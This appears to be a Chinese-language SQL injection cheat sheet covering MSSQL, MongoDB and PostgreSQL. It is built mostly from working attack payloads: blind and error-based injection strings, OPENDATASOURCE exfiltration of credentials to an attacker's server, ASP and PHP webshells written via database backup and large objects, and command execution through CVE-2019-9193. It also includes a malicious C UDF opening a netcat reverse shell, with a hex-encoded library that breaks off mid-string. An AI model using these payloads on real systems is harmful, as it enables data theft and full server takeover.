MSSQL

基础

​ 根据url地址的文件后缀名为aspx,初步判断为sqlserver数据库;通过and (select count(*) from sysobjects)>0判断是否为mssql数据库,如果返回正常,则证明数据库为mssql数据库。

MySQL相同,*MSSQL*有类似于MySQL*information_schema*库这种默认存在可简便查询的存在

先来点函数

函数释义
host_name()返回服务器端计算机的名称
Current_user返回当前数据库的用户
db_name ()返回当前数据库的名
CHAR()将ASCII 码转换为字符,如果没有输入0 ~ 255 之间的ASCII 码值,CHAR()返回 NULL
object_id()返回数据库表名,通常用于16进制或SQL编码的转换
col_name ( table_id , column_id )返回指定表中指定字段
substring()返回子字符串,例:substring(“123456” ,1,3)返回“123”
Cast()将某种数据类型的表达式显式转换为另一种数据类型
WAITFOR DELAY '0:0:n''时:分:秒',WAITFOR DELAY '0:0:5'表示等待5秒后执行

再来点例子:

# 创建数据库
create database [dbname];
create database test;

# 删除数据库
drop database [dbname];
drop database test;

# 创建新表
create table table_name (name char(10),age tinyint,sex int);
# 创建新表前要选择数据库,默认是master库 
use test; 
create table admin (users char(255),passwd char(255),sex int);

# 删除新表
drop table table_name;
drop table dbo.admin;

# 向表中插入数据
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);

# 删除内容
delete from table_name where column1=value1;
delete from admin where sex=2;

# 更新内容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;

# 查找内容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
  • MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,
  • 使用 <> 来排除已经显示的数据,获取下一条数据。
  • 使用not in来排除已经显示的数据,获取下一条数据:

    # 使用<>获取数据
    id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
    # 使用not in获取数据
    id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
    id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+

注释只有--+/**/

注入

MSSQL中每个数据库都存在三张默认的表sysdatabases、sysobjects、syscolumns

释义
sysobjectsSQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束 、默认值、日志、规则、存储过程等,每个对象在表中占一行。
syscolumns该表位于每个数据库中。
sysdatabases该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息

sysobjects里面啥啥都有,其中的xtype属性代表对象类型。当xtype= 'U' and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。

select * from sysobjects where xtype = 'U'

2024-07-24T09:26:48.png

sysobjects中的id列与syscolumns中的id外键关联,啥意思呢?也就是说syscolumns的列中有一个id指对应着sysobjects中的id,而我们的表是从sysobjects中得来,我们可以通过对sysobjects中的id获得syscolumns的列数据,最后查字段就轻轻松松了。

select * from syscolumns where id=(select id from sysobjects where name='users')

2024-07-24T09:27:13.png

select * from syscolumns where id=885578193直接带id查也行

联合注入

**1.判断注入点及类型** 
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那么此处是字符型注入,需要单引号闭合

**2.判断字段数** 
?id=1' order by 3--+
?id=1' order by 4--+

**3.联合查询判断回显点** 
?id=0' union select 1,2,3--+

**4.获取当前数据库名字和版本信息** 
?id=0' union select 1,db_name(),@@version--+

**5.获取所有的数据库名** 
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name 
from master.sys.databases)--+

**6.获取所有的表名** 
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+

**7.获取所有的字段名** 
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+

?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and 
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--

**8.获取users表账号密码信息** 
?id=0' union select top 1 1,username,password from users--+

报错注入

MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。

**1.判断注入点** 
id=1

**2.判断是否为MSSQL数据库** 
# 返回正常为MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)

**3.判断数据库版本号** 
id=1 and @@version>0--+
# @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了
# 版本号:nt5.2:2003 nt6.0:2008

**4.获取当前数据库名** 
and db_name()>0--+
and 1=db_name()--+
# 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果

**5.判断当前服务器拥有的权限** 
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+

**6.判断当前角色是否为DB_OWNER** 
and 1=(select is_member('db_owner'))--+
# db_owner权限可以通过备份方式向目标网站写文件

**7.获取当前用户名** 
and user_name()>0--+

8,获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值来获取所有的数据库

**9.获取数据库的个数** 
and 1=(select quotename(count(name)) from master.sys.databases)--+
**
10.一次性获取所有数据库库** 
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+

**11.获取所有的表名** 
# 获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
# 获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。

**12.获取字段名** 
# 通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通过quotename 和 for xml path('') 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+

**13.获取表中数据** 
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+

布尔盲注

**1.** **判断注入点 ** 
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+

**2.猜解数据库个数** 
id=1 and (select count(*) from sys.databases)=7--+        # 存在7个数据库

**3.猜解数据库名长度** 
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+                              # 当前数据库名长度为4

**4.猜解数据库名** 
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
# 截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+ 

**5.猜解表名** 
# 截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+ 
# 截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+

**6.猜解字段名 ** 
# 截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d 
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+ 

**7.猜解表中数据** 
# username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+

时间盲注

**1.判断是否存在注入** 
id=1 WAITFOR DELAY '0:0:5'--+

**2.判断权限** 
# 如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+

**3.查询当前数据库的长度和名字** 
# 二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查询数据库名字
# substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+

**4.查询数据库的版本** 
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M

**5.查询表个数** 
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 当前数据库表的个数为6

**6.查询第一个表的长度** 
# 查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u' 
# 查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,进行判断,9为表长度的猜测
and len(name)=9
# 第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+

**7.查询第一个表的表名** 
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+

**8.查询第二个表的长度** 
# 查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三个表则 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+

**9.查询第二个表的名字** 
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+

**10.查询第一个表中的字段** 
# and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+

**11.查询字段类型** 
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+

**12.查询数据** 
# 查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--

反弹注入

​ 就像在Mysql中可以通过dnslog外带,Oracle可以通过python搭建一个http服务器接收外带的数据一样,在MSSQL数据库中,我们同样有方法进行数据外带,那就是通过反弹注入外带数据。

反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。

反弹注入需要使用opendatasource函数:

OPENDATASOURCE(provider_name,init_string)
使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

先连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。这里因为我想查询的是数据库库名,所以新建一个表里面只有一个字段,类型为varchar。

CREATE TABLE test(name VARCHAR(255))

​ 获取数据库所有,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。

# 查询sysobjects表
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.sysobjects where xtype='U' --+

# 查询information_schema数据库
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selecttable_name from information_schema.tables--+ 

​ 获取数据,首先新建一个表,里面放三个字段,分别是id,username和passwd。

CREATE TABLE data(id INT,username VARCHAR(255),passwd VARCHAR(255))

获取admin表中的数据

id=1;insert intoopendatasource('sqloledb','[server=SQL5095.site4now.net](http://server=SQL5095.site4now.net),1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.data selectid,username,passwd from admin--+

xp_cmdshell外带

差异备份getshell

​ 差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

**1.完整备份一次(保存位置当然可以改)** 
backup database 库名 to disk = 'c:\ddd.bak';--+

**2.创建表并插入数据** 
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+

**3.进行差异备份** 
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+

# 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>

NOSQL

Not Only SQL,泛指非关系型的数据库 ,其产生就是为了解决大规模数据集合多重数据种类 带来的挑战,尤其是大数据应用难题,包括超大规模数据的存储。

SQL 数据库NOSQL 数据
存储方式SQL 数据存在特定结构的 可以是 JSON 文档、哈希表或者其他方式,比较 灵活可拓展
表数据集合的数据的关系定义好表和字段结构后才能添加数据 ,表结构可以在被定义之后更新,但是如果有比较大的结构变更的话就会变得比较复杂数据可以 在任何时候任何地方添加 ,不需要先定义表
JOIN 查询支持 JOIN 多表查询暂未提供 类似 JOIN 的查询方式。大部 NOSQL 使用 非规范化的数据存储方式 存储数据
数据耦合性SQL 中不允许删除已经被使用的外部数据可以随时删除任何数据
事务提供事务没有事务这个概念,每个数据集的操作都是原子级的

2024-07-24T09:27:46.png

nosql代表:MongDB、Redis、Memcache

基础

以MongoDB 为例:(默认端口号为 27017)

  • MongoDB 和其他的数据库一样,都支持常见存储操作,但是它可以存储任何的数据,包括文件。
  • MongoDB 允许在服务端执行脚本,可以用 javascript 编写某个函数,直接在服务端执行,也可以把函数的定义存储在服务端,下次直接调用即可。
  • MongoDB 数据操作使用 JSON 形式的标记。
  • MongoDB 支持各种编程语言:RUBY,PYTHON,JAVA,C++,PHP,C#等多种语言。
  • MongoDB 使用 db 关键字代表当前数据库。

2024-07-24T09:27:59.png

数据类型也有点不太一样

2024-07-24T09:28:09.png

MongoDB 基础操作

  • MongDB的启动
  • 开启服务: sudo mongodb
  • 登陆 mongodb数据库:mongodb --host 127.0.0.1
  • 数据库的操作

    • 查看所有的数据库:show dbs
    • 切换数据库:use数据库名
    • 查看集合: show collections
    • 数据库的创建:use 数据库名。有值自动创建 。当use的时候,系统就会自动创建—个数据库。
    • 删除数据库:进入数据库后db.dropDatabase();
  • 注意:如果没有选择任何数据库,会删除默认的test数据库
  • 集合的操作

    • 查看集合:show collections
    • 创建集合:db.createCollection("xxx")
    • 删除集合:db.xxx.drop()
  • 文档(行)的增删改

    • 增加数据:db.xx.insert({key:value})
    • 举例:db.chunqiu.insert({id:1,name:"web",age:10})
    • 删除数据: db.xx.remove(删除的条件)
    • 全部删除:db.xx.remove({})
    • 根据条件删除,默认是删除所有符合条件的数据: db.xx.remove({age:10})
    • 只删除符合条件的第一个: db.xx.remove({gender:true},{justOne:true})
    • 更改操作:db.update({查找的条件},{修改的内容})
    • 修改内容:默认其他原有字段删除了,替换掉原有数据:db.xx.update({age:10},{name:"NoSQL"})
    • 保持原有的字段,加一个修饰$set:默认只修改第一个且对已存在的原有属性是替换,不存在的属性是添加

db.stu.update({age:10}, {$set:{like:"study"}})

说明:把like:"study"添加到数据里面,并不是换

  • 文档查询简单语句:

    • 基本查询:db.xx.find({查询条件})
    • 查询所有的数据: db.xx.find() 或db.xx.find()
    • 默认查出所有符合条件的数据:db.xx.find({age:10})
    • 查找符合条件的第一个:db.xx.findOne({age:10})
    • 格式化输出— pretty()函数:db.xx.find({age:10}).pretty()
  • 常用条件
$lt<
$lte
$gt>
$gte
$ne
$inin
$ninnot in
$allall
$oror
$not反匹配(1.3.3及以上版本)
$regex正则
db.xx.find({age:{$lt:20}}) 查询年龄小于20岁的
db.xx.find({age:{$ne:18}}) 查询年龄不等于18岁的

//and
db.xx.find({age:28,gender:true})
db.xx.find({$and :[age:28},{gender:true}]}) 查询年龄是28岁且性别为女

//or
db.xx.find({$or :[age:{$lt:30},{gender:false}]}) 查询年龄小于30岁, 或者性别为男

注入

JavaScript注入

  1. MongoDB中$where操作符是可以执行 JavaScript语句的。
  2. 在PHP语言中是不能直接写入 JavaScript语句的,需要写在字符串中。使用字符串就会引用到单引号和双引号,因此容易出现闭合的问题
  3. 在 MongoDB2.4之前,通过$ where操作符使用 map-reducegroup命令可以访问到 mongo shell中的全局函数和属性也就是说可以操作数据库中的数据

2024-07-24T09:28:27.png

控制 admin和 password对语句进行闭合,构造出 payload:闭合单引号,插入代码:n';return true;var a='

2024-07-24T09:28:47.png

mongo shell拼接注入

​ MongoShell是一个互动的 JavaScript接口的 Mongo DB,可以使用M。 ngo Shell来查询和更新数据以及执行管理操作。可以连接到在运行的 MongoDB实例

2024-07-24T09:29:02.png

闭合语句直接执行。

PostgreSql

是一种特性非常齐全的自由软件的对象-关系型数据库管理系统。

默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres

判断是否postgresql

+and+1::int=1--
#连接数据库
psql -U 用户名 -h 主机号 [-d 数据库名,-p 端口号]

查库:\l
选库:\c  库名
查表:\d
查列:\d 表名
\x:查询结果以行或列显示切换

2024-07-24T09:29:24.png

pg也有information_schema,并且跟mysql使用大致相同

  • 特有用法:select extract(dow from now())
  • MySQL中的limit 0,1postgresql中是limit 1 offset 0
  • ?id=1 and (select count(*) from Pg_database)>0 and 1=1
  • ?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1(继承自Mysql)
  • 获取所有数据库:select datname from pg_database
  • 注释符--+ 多行注释/**/
  • ::text转换为text 还有::int之类的
current_catalog / current_database()    查询数据库
current_schema[()]  表示当前模式名
version();user;
pg_sleep(1)   睡觉
pg_sleep_for('5 sec')  睡觉(9.4及之后版本新增)
pg_sleep_until('2022-01-19 10:25:20'); 睡觉 (9.4及之后版本新增)

基础

字符串函数

函数描述
string 丨丨 string字串连接'Post' 丨丨 'greSQL' => PostgreSQL
bit_length(string)字串里二进制位的个数bit_length('jose') => 32
char_length(string)字串中的字符个数char_length('jose') => 4
convert(string using conversion_name)使用指定的转换名字改变编码。convert('PostgreSQL' using iso_8859_1_to_utf8) =>'PostgreSQL'
lower(string)把字串转化为小写
octet_length(string)字串中的字节数octet_length('jose') => 4
overlay(string placing string from int [for int])替换子字串overlay('Txxxxas' placing 'hom' from 2 for 4) => Thomas
position(substring in string)返回指定的子字串的位置position('om' in 'Thomas') =>3
substring(string [from int] [for int])抽取子字串
substring(string from pattern)抽取匹配 POSIX 正则表达式的子字串
substring(string from pattern for escape)抽取匹配SQL正则表达式的子字串
trim([leading丨trailing 丨 both] [characters] from string)从字串string的开头/结尾/两边/ 删除只包含characters(默认是一个空白)的最长的字串
upper(string)把字串转化为大写。
ascii(text)参数第一个字符的ASCII码
btrim(string text [, characters text])从string开头和结尾删除只包含在characters里(默认是空白)的字符的最长字串
chr(int)给出ASCII码的字符
convert(string text, [src_encoding name,] dest_encoding name)把字串转换为dest_encoding
initcap(text)把每个单词的第一个字母转为大写,其它的保留小写。单词是一系列字母数字组成的字符,用非字母数字分隔。
length(string text)string中字符的数目
lpad(string text, length int [, fill text])通过填充字符fill(默认为空白),把string填充为长度length。 如果string已经比length长则将其截断(在右边)。
ltrim(string text [, characters text])从字串string的开头删除只包含characters(默认是一个空白)的最长的字串。
md5(string text)计算给出string的MD5散列,以十六进制返回结果。
repeat(string text, number int)重复string number次。repeat('Pg', 4) => PgPgPgPg
replace(string text, from text, to text)把字串string里出现地所有子字串from替换成子字串to。
rpad(string text, length int [, fill text])通过填充字符fill(默认为空白),把string填充为长度length。如果string已经比length长则将其截断。
rtrim(string text [, character text])从字串string的结尾删除只包含character(默认是个空白)的最长的字
split_part(string text, delimiter text, field int)根据delimiter分隔string返回生成的第field个子字串(1 Base)。split_part('abc~@~def~@~ghi', '~@~', 2) => def
strpos(string, substring)声明的子字串的位置。strpos('high','ig') => 2
substr(string, from [, count])抽取子字串。
to_hex(number int/bigint)把number转换成其对应地十六进制表现形式。
translate(string text, from text, to text)把在string中包含的任何匹配from中的字符的字符转化为对应的在to中的字符。translate('12345', '14', 'ax') => a23x5

判断逻辑

表达式说明
case...when(expr) then result1 else result2 end同if 表达式
COALESCE(value [, ...])COALESCE 函数返回其第一个非空参数。只有当所有参数都为 null 时才返回 Null。当检索数据以进行显示时,它通常用于将默认值替换为空值
NULLIF(value1, value2)如果 value1 等于 value2,则 NULLIF 函数返回空值;否则返回 value1

注入

字段数

select * from table_name from column_name = 'xxx' order by 3 -- 正常
select * from table_name from column_name = 'xxx' order by 4 -- 不正常
select datname from pg_database;       所有数据库
select current_database();             当前数据库、

获取当前数据库所有schema

select schemaname from pg_tables;
select distinct schemaname from pg_tables;

获取当前schema的表名

select tablename from pg_tables where schemaname = 'public';
-- 或者从该库的information_schema.tables获取
select table_name from information_schema.tables where table_schema='public';

获取当前表的列名

SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='test' AND nspname='public';
select column_name from information_schema.columns where table_name = 'test';

获取当前表的值

select title from test;

string_agg(字段,分隔符) 实现 group_concat

select string_agg(datname,',') from pg_database;

array_to_string(array_agg(字段,分隔符))

select array_to_string(array_agg(datname),',') from pg_database;

堆叠注入

postgresql和mssql一样,默认支持多语句,闭合前语句,再使用;分隔前后的语句,以达到堆叠查询的目的。

由于堆叠查询的特殊性,也可以利用postgresql的特殊休眠函数pg_sleep()快速判断是否是postgresql

Payload:

?id=1';select pg_sleep(5) -- aaa

在判断出注入点以及是postgresql且可堆叠查询的情况下,可以使用CVE-2019-9193,执行任意命令,反弹shell,从版本9.3开始,Postgres新增了一个COPY TO/FROM PROGRAM功能。这个功能简单来说就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

报错注入

报错注入在postgresql其实不太常见,由于postgresql默认支持堆叠查询,所以通常使用堆叠查询就直接getshell了

布尔盲注

select title from test where title='a' and 2*2 = 4; -- true
select title from test where title='a' and 2*2 = 5; -- false
select title from test where title='a' and ascii(substring((select current_database()),1,1)) > 99; -- true
select title from test where title='a' and ascii(substring((select current_database()),1,1)) > 120; -- false
select title from test where title='a' and ascii(substring((select current_database()),1,1)) = 116; -- true

时间盲注

pg_sleep()
case when(expr1) then result1 else result2 end

pg_sleep_for(interval)
# 拼接在语句中
select title from test where title='a' and (select pg_sleep_for('5 sec')) is null;
# 堆叠
select title from test where title='a';select pg_sleep_for('5 sec');
# 加入判断条件
select title from test where title='a' and (select case when((ascii(substring((select current_database()),1,1))) = 116) then pg_sleep(5) else null end) is null;

当and后面的条件不能用expr1=expr2这种,可以和oracle一样使用is null来判断

Order By注入

​ order by 注入通常出现在排序中,前端展示的表格,某一列需要进行升序或者降序排列,或者做排名比较的时候常常会用到order by排序,order by在select语句中,紧跟在where [where condition]后,且order by 注入无法使用预编译来防御,由于order by 后面需要紧跟column_name,而预编译是参数化字符串,而order by后面紧跟字符串就会提示语法错误,通常防御order by 注入需要使用白名单的方式。

​ postgresql 的order by 注入,涉及条件相当复杂,由于postgresql order by 后面要紧跟true,或者false,需要使用case...when...then...else...end表达式嵌套SELECT和CASE WHEN语句,直到可以将"布尔盲注成功利用,然后睡眠5秒"转换为"true或false"

如果开启了报错,可以直接用报错注入

select case when((select case when(select user = 'postgres') then (select true from PG_SLEEP(5)) else false end)) then true else false end;
select case when(select user = 'postgres') then (select 1 from pg_sleep(2)) else 1 end;

文件读写

​ 文件读写在postgresql中比较方便利用,postgresql 8.1后提供了一组现成的文件操作函数(pg_logdir_ls()pg_ls_dir()pg_file_rename()pg_file_write()pg_read_file()pg_length_file())来读取/写入,但是有限制,因为pg_xxx这个adminpack将权限限制在了./postgresql/data

创建数据表将读到的文件copy入表

drop table if exists test;
CREATE TABLE test(t TEXT);
COPY test FROM '/etc/passwd';
SELECT * FROM test;

# 堆叠,变成一句
drop table if exists test;CREATE TABLE test(t TEXT);COPY test FROM '/etc/passwd';SELECT * FROM test;

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

大数据对象写入

pg_largeobject表保存那些标记着”大对象”的数据。 一个大对象是使用其创建时分配的 OID 标识的。 每个大对象都分解成足够小的小段或者”页面”以便以行的形式存储在 pg_largeobject里。 每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字节)

SELECT lo_create(9999);
delete from pg_largeobject where loid=9999;
insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('3c3f706870204073797374656d2822245f4745545b636d645d22293b3f3e', 'hex'));  
-- 或 insert into pg_largeobject values(9999,0,'<?php @system("$_GET[cmd]");?>');
SELECT lo_export(9999, '/tmp/shell.php');  
Select lo_unlink(9999);

命令执行

低版本

可以直接调用/lib/libc.so.6或者是/lib64/libc.so.6;一般8.2以下的版本可以

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
select system('id');

高版本

CVE-2019-9193

CVE-2019-9193,执行任意命令,反弹shell,从版本9.3开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能简单来说就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo dG91Y2ggL3RtcC90ZXN0Cg==|base64 -d|bash';
select * from cmd_exec; -- 查看执行的结果,如果是反弹shell等无回显的,可以忽略这一步


COPY cmd_exec FROM PROGRAM '-ls -la';

UDF提权

当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6所以需要自己利用UDF进行命令执行

第一步可以先查看postgresql支持的扩展语言:

select * from pg_language;

2024-07-24T09:29:49.png

支持C,那么可以用C编译一个恶意的so文件,然后让psql加载达到我们的目的

#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

text *exec()
{
    system("nc -e /bin/bash vpsIPaddress 2333");
}

需要存在postgres.h头文件,所以编译的目录应为存在postgres.h头部调用的库

find ./ -name "postgres.h"

编译

gcc hack.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so
strip -sx udf.so #缩减so文件大小

将文件hex后去除\n

cat udf.so | xxd -ps | tr -d "\n" > test.txt

接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.

为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.

用python脚本去分割udf.so文件,2个16进制数是一个字节所以按照4096个16进制数分割:

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
from random import randint
number = randint(1000, 9999)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:python " + sys.argv[0] + "inputfile"
        sys.exit()
    fileobj = open(sys.argv[1],'rb')
    i = 0
    t = -1
    s = ''
    for b in fileobj.read():
        i = i + 1
        s += b
        if i % 4096 == 0:
            t = t + 1
            print 'insert into pg_largeobject values ({number}, {block}, decode(\'{payload}\',\'hex\'));\n'.format(number=number, block=t, payload=s)
            s = ''
    fileobj.close()

这里我直接给出hex分片过sql语句直接写入即可创建成功(9.6版本测试有效,如果目标是更加新的版本需要对应安装postgresql-dev扩展包编译代码)

SELECT lo_create(9023);

insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e00200000000000000002000000000000200000006000000181e000000000000181e200000000000181e200000000000c001000000000000c00100000000000008000000000000000400000004000000c801000000000000c801000000000000c80100000000000024000000000000002400000000000000040000000000000050e5746404000000cc11000000000000cc11000000000000cc110000000000006c000000000000006c00000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e5746404000000f81d000000000000f81d200000000000f81d200000000000080200000000000008020000000000000100000000000000040000001400000003000000474e550052705bc9352a28aa252e8edf0fbc5d4c32e634e800000000030000001a00000002000000070000008440030810890c99